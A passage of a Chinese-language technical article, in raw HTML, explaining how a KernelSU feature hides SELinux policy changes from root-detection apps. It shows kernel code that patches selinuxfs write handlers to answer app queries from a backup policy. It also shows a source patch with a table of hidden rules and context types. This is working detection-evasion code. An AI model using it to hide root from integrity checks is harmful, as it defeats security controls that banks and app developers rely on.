Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">系统UID仍然走原始的</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">context</span></code><span leaf="">写入口，应用UID则改走</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">backup_sepolicy</span></code><span leaf="">。当检测器提交</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">u:r:ksu:s0</span></code><span leaf="">或</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">u:object_r:ksu_file:s0</span></code><span leaf="">时，旧策略里并不存在对应类型，转换随即失败，检测侧看到的便是&#34;上下文不存在&#34;。</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="140" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span style="color: rgb(163, 21, 21);"><span leaf="">static</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">ssize_t</span></span><span style="color: rgb(128, 128, 128);"><span leaf="">my_write_context</span></span><span style="color: inherit;"><span leaf="">(</span><span style="color: rgb(0, 0, 255);"><span leaf="">struct</span></span><span leaf=""> file *file, </span><span style="color: rgb(163, 21, 21);"><span leaf="">char</span></span><span leaf=""> *buf, </span><span style="color: rgb(163, 21, 21);"><span leaf="">size_t</span></span><span leaf=""> size)</span></span><span leaf=""><br/></span><span leaf="">{</span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (likely(current_uid().val &lt; </span><span style="color: rgb(0, 128, 0);"><span leaf="">10000</span></span><span leaf="">)) {</span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">return</span></span><span leaf=""> orig_context_write(file, buf, size);</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span style="color: rgb(163, 21, 21);"><span leaf="">char</span></span><span leaf=""> *canon = </span><span style="color: rgb(163, 21, 21);"><span leaf="">NULL</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    u32 sid, len;</span><span leaf=""><br/></span><span style="color: rgb(163, 21, 21);"><span leaf="">ssize_t</span></span><span leaf=""> length;</span><span leaf=""><br/></span><span leaf="">    length = security_context_to_sid_with_policy(backup_sepolicy, buf, size, &amp;sid, SECSID_NULL, GFP_KERNEL);</span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (length)</span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">goto</span></span><span leaf=""> out;</span><span leaf=""><br/></span><span leaf="">    length = security_sid_to_context_with_policy(backup_sepolicy, sid, &amp;canon, &amp;len);</span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (length)</span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">goto</span></span><span leaf=""> out;</span><span leaf=""><br/></span><span style="color: rgb(0, 122, 204);"><span leaf="">memcpy</span></span><span leaf="">(buf, canon, len);</span><span leaf=""><br/></span><span leaf="">    length = len;</span><span leaf=""><br/></span><span leaf="">out:</span><span leaf=""><br/></span><span leaf="">    kfree(canon);</span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">return</span></span><span leaf=""> length;</span><span leaf=""><br/></span><span leaf="">}</span></code></pre><p data-line="164" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">checkSELinuxAccess</span></code><span leaf="">最终触发的是访问向量计算。应用UID的输入被引导至</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">backup_sepolicy</span></code><span leaf="">重新计算，因此</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">untrusted_app</span></code><span leaf="">到</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">ksu</span></code><span leaf="">的</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">binder call</span></code><span leaf="">，以及</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">untrusted_app</span></code><span leaf="">到</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">ksu_file</span></code><span leaf="">的</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">file read</span></code><span leaf="">，不再按当前策略给出结果。</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="166" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span style="color: rgb(163, 21, 21);"><span leaf="">static</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">ssize_t</span></span><span style="color: rgb(128, 128, 128);"><span leaf="">my_write_access</span></span><span style="color: inherit;"><span leaf="">(</span><span style="color: rgb(0, 0, 255);"><span leaf="">struct</span></span><span leaf=""> file *file, </span><span style="color: rgb(163, 21, 21);"><span leaf="">char</span></span><span leaf=""> *buf, </span><span style="color: rgb(163, 21, 21);"><span leaf="">size_t</span></span><span leaf=""> size)</span></span><span leaf=""><br/></span><span leaf="">{</span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (likely(current_uid().val &lt; </span><span style="color: rgb(0, 128, 0);"><span leaf="">10000</span></span><span leaf="">)) {</span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">return</span></span><span leaf=""> orig_access_write(file, buf, size);</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">/* 省略参数解析与错误处理 */</span></span><span leaf=""><br/></span><span leaf="">    length = security_context_to_sid_with_policy(backup_sepolicy, scon, </span><span style="color: rgb(0, 122, 204);"><span leaf="">strlen</span></span><span leaf="">(scon),</span><span leaf=""><br/></span><span leaf="">                                                 &amp;ssid, SECSID_NULL, GFP_KERNEL);</span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (length) </span><span style="color: rgb(0, 0, 255);"><span leaf="">goto</span></span><span leaf=""> out;</span><span leaf=""><br/></span><span leaf="">    length = security_context_to_sid_with_policy(backup_sepolicy, tcon, </span><span style="color: rgb(0, 122, 204);"><span leaf="">strlen</span></span><span leaf="">(tcon),</span><span leaf=""><br/></span><span leaf="">                                                 &amp;tsid, SECSID_NULL, GFP_KERNEL);</span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (length) </span><span style="color: rgb(0, 0, 255);"><span leaf="">goto</span></span><span leaf=""> out;</span><span leaf=""><br/></span><span leaf="">    security_compute_av_user_with_policy(backup_sepolicy, ssid, tsid, tclass, &amp;avd);</span><span leaf=""><br/></span><span leaf="">    length = scnprintf(buf, SIMPLE_TRANSACTION_LIMIT, </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;%x %x %x %x %u %x&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span leaf="">                       avd.allowed, </span><span style="color: rgb(0, 128, 0);"><span leaf="">0xffffffff</span></span><span leaf="">, avd.auditallow,</span><span leaf=""><br/></span><span leaf="">                       avd.auditdeny, avd.seqno, avd.flags);</span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">return</span></span><span leaf=""> length;</span><span leaf=""><br/></span><span leaf="">}</span></code></pre><p data-line="189" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">除此之外，</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">setprocattr current</span></code><span leaf="">入口同样被纳入隐藏面，目标上下文统一交由</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">backup_sepolicy</span></code><span leaf="">解析，以防检测器从</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">/proc/self/attr/current</span></code><span leaf="">一侧绕开</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">selinuxfs</span></code><span leaf="">查询。</span></p><p data-line="191" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">运行时方案的优势在于不必修改设备内核源码。具体做法是：通过</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">kallsyms_lookup_name(&#34;write_op&#34;)</span></code><span leaf="">定位</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">selinuxfs</span></code><span leaf="">的写操作表，再用</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">ksu_patch_text</span></code><span leaf="">将</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">SEL_CONTEXT</span></code><span leaf="">与</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">SEL_ACCESS</span></code><span leaf="">两个槽位替换为自定义函数，同时挂上</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">selinux_setprocattr</span></code><span leaf="">的LSM hook。</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="193" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span leaf="">selinux_write_op = kallsyms_lookup_name(</span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;write_op&#34;</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">context_write = &amp;selinux_write_op[SEL_CONTEXT];</span><span leaf=""><br/></span><span leaf="">orig_context_write = *context_write;</span><span leaf=""><br/></span><span leaf="">ksu_patch_text(context_write, &amp;my_write_context, </span><span style="color: rgb(0, 0, 255);"><span leaf="">sizeof</span></span><span leaf="">(my_write_context),</span><span leaf=""><br/></span><span leaf="">               KSU_PATCH_TEXT_FLUSH_DCACHE);</span><span leaf=""><br/></span><span leaf="">access_write = &amp;selinux_write_op[SEL_ACCESS];</span><span leaf=""><br/></span><span leaf="">orig_access_write = *access_write;</span><span leaf=""><br/></span><span leaf="">ksu_patch_text(access_write, &amp;my_write_access, </span><span style="color: rgb(0, 0, 255);"><span leaf="">sizeof</span></span><span leaf="">(my_write_access),</span><span leaf=""><br/></span><span leaf="">               KSU_PATCH_TEXT_FLUSH_DCACHE);</span><span leaf=""><br/></span><span leaf="">ksu_lsm_hook(&amp;selinux_setprocattr_hook);</span></code></pre><p data-line="208" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">管理器侧的&#34;隐藏SELinux修改&#34;开关最终对应到</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">KSU_FEATURE_SELINUX_HIDE</span></code><span leaf="">这一特性位。开启之后，应用UID所见即为备份策略的答案；关闭之后，</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">selinuxfs</span></code><span leaf="">入口回归原始实现。截图中Duck的</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">Danger</span></code><span leaf="">显示为</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">0</span></code><span leaf="">，恰好与该功能的工作面相互印证。</span></p><h2 data-line="210" dir="auto" style="margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.5em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">内核源码级过检测补丁</span></h2><p data-line="212" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">Andrea仓库里的补丁直接动了</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">security/selinux/ss/services.c</span></code><span leaf="">。如果说运行时方案改的是</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">selinuxfs</span></code><span leaf="">入口，那么源码级方案改的便是SELinux服务函数本身：上下文解析与访问向量计算，统统在内核源码层被过滤。</span></p><p data-line="214" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">补丁优先使用KernelSU上游已经暴露的</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">backup_sepolicy</span></code><span leaf="">；若该符号不存在，则回退到静态规则表与隐藏type表。静态表所覆盖的，恰好正是DirtySepolicy与Duck所查询的访问关系。</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="216" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span style="color: rgb(0, 0, 255);"><span leaf="">extern</span></span><span style="color: rgb(0, 128, 0);"><span style="color: rgb(0, 0, 255);"><span leaf="">struct</span></span><span style="color: rgb(128, 128, 128);"><span leaf="">selinux_policy</span></span><span leaf=""> *</span><span style="color: rgb(128, 128, 128);"><span leaf="">backup_sepolicy</span></span><span leaf=""> __</span><span style="color: rgb(128, 128, 128);"><span leaf="">attribute__</span></span><span leaf="">((</span><span style="color: rgb(128, 128, 128);"><span leaf="">weak</span></span><span leaf="">));</span></span><span leaf=""><br/></span><span style="color: rgb(163, 21, 21);"><span leaf="">static</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">const</span></span><span style="color: rgb(0, 128, 0);"><span style="color: rgb(0, 0, 255);"><span leaf="">struct</span></span><span style="color: rgb(128, 128, 128);"><span leaf="">selinux_hidden_av_rule</span></span><span style="color: rgb(128, 128, 128);"><span leaf="">selinux_hidden_av_rules</span></span><span leaf="">[] =</span></span><span leaf=""> {</span><span leaf=""><br/></span><span leaf="">    { </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;system_server&#34;</span></span><span leaf="">, </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;system_server&#34;</span></span><span leaf="">, </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;process&#34;</span></span><span leaf="">, </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;execmem&#34;</span></span><span leaf=""> },</span><span leaf=""><br/></span><span leaf="">    { </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;fsck_untrusted&#34;</span></span><span leaf="">, </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;fsck_untrusted&#34;</span></span><span leaf="">, </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;capability&#34;</span></span><span leaf="">, </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;sys_admin&#34;</span></span><span leaf=""> },</span><span leaf=""><br/></span><span leaf="">    { </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;shell&#34;</span></span><span leaf="">, </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;su&#34;</span></span><span leaf="">, </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;process&#34;</span></span><span leaf="">, </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;transition&#34;</span></span><span leaf=""> },</span><span leaf=""><br/></span><span leaf="">    { </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;adbd&#34;</span></span><span leaf="">, </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;adbroot&#34;</span></span><span leaf="">, </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;binder&#34;</span></span><span leaf="">, </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;call&#34;</span></span><span leaf=""> },</span><span leaf=""><br/></span><span leaf="">    { </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;untrusted_app&#34;</span></span><span leaf="">, </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;magisk&#34;</span></span><span leaf="">, </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;binder&#34;</span></span><span leaf="">, </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;call&#34;</span></span><span leaf=""> },</span><span leaf=""><br/></span><span leaf="">    { </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;untrusted_app&#34;</span></span><span leaf="">, </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;ksu&#34;</span></span><span leaf="">, </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;binder&#34;</span></span><span leaf="">, </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;call&#34;</span></span><span leaf=""> },</span><span leaf=""><br/></span><span leaf="">    { </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;untrusted_app&#34;</span></span><span leaf="">, </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;ksu_file&#34;</span></span><span leaf="">, </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;file&#34;</span></span><span leaf="">, </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;read&#34;</span></span><span leaf=""> },</span><span leaf=""><br/></span><span leaf="">    { </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;untrusted_app&#34;</span></span><span leaf="">, </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;lsposed_file&#34;</span></span><span leaf="">, </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;file&#34;</span></span><span leaf="">, </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;read&#34;</span></span><span leaf=""> },</span><span leaf=""><br/></span><span leaf="">    { </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;untrusted_app&#34;</span></span><span leaf="">, </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;xposed_data&#34;</span></span><span leaf="">, </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;file&#34;</span></span><span leaf="">, </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;read&#34;</span></span><span leaf=""> },</span><span leaf=""><br/></span><span leaf="">    { </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;zygote&#34;</span></span><span leaf="">, </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;adb_data_file&#34;</span></span><span leaf="">, </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;dir&#34;</span></span><span leaf="">, </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;search&#34;</span></span><span leaf=""> },</span><span leaf=""><br/></span><span leaf="">};</span><span leaf=""><br/></span><span style="color: rgb(163, 21, 21);"><span leaf="">static</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">const</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">char</span></span><span leaf=""> * </span><span style="color: rgb(163, 21, 21);"><span leaf="">const</span></span><span leaf=""> selinux_hidden_context_types[] = {</span><span leaf=""><br/></span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;su&#34;</span></span><span leaf="">, </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;adbroot&#34;</span></span><span leaf="">, </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;ksu&#34;</span></span><span leaf="">, </span><span style="color: rgb(163, 21, 21);"><span 